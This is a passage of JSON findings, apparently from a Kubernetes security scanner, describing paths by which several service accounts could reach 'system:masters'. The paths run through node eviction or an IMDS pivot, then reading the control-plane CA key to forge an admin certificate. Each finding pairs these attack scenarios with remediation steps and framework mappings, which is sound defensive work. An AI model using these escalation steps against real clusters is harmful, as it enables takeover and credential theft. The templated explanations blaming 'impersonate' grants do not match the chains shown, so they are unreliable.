        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/cutres/cutres-parallel:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-parallel` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/cutres/cutres-parallel` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/cutres/cutres-parallel` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  2. `ServiceAccount/cutres/cutres-parallel` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-parallel` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cutres/cutres-parallel`.",
      "Acting as `ServiceAccount/cutres/cutres-parallel`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/cutres/cutres-parallel`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cutres/cutres-parallel` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cutres/cutres-parallel` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-parallel",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-parallel",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/deepchain-tenant/deepchain-privileged:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-privileged` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-privileged` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/deepchain-tenant/deepchain-privileged` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  2. `ServiceAccount/deepchain-tenant/deepchain-privileged` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-privileged` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/deepchain-tenant/deepchain-privileged`.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-privileged`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-privileged`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-privileged` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-privileged` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/flat-network/default:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/flat-network/default` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/flat-network/default` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/flat-network/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod flat-network/api-55d9f69c7d-czs2f falls back to node IAM role via IMDS\n  2. `ServiceAccount/flat-network/default` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "flat-network"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/flat-network/default` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/flat-network/default`.",
      "Acting as `ServiceAccount/flat-network/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod flat-network/api-55d9f69c7d-czs2f falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/flat-network/default`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/flat-network/default` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/flat-network/default` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "flat-network"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod flat-network/api-55d9f69c7d-czs2f falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "flat-network"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/flux-system/kustomize-controller:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/flux-system/kustomize-controller` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/flux-system/kustomize-controller` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/flux-system/kustomize-controller` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  2. `ServiceAccount/flux-system/kustomize-controller` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/flux-system/kustomize-controller` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/flux-system/kustomize-controller`.",
      "Acting as `ServiceAccount/flux-system/kustomize-controller`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/flux-system/kustomize-controller`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/flux-system/kustomize-controller` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/flux-system/kustomize-controller` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/foothold-exec/foothold-decoy-sa:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-exec/foothold-decoy-sa` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
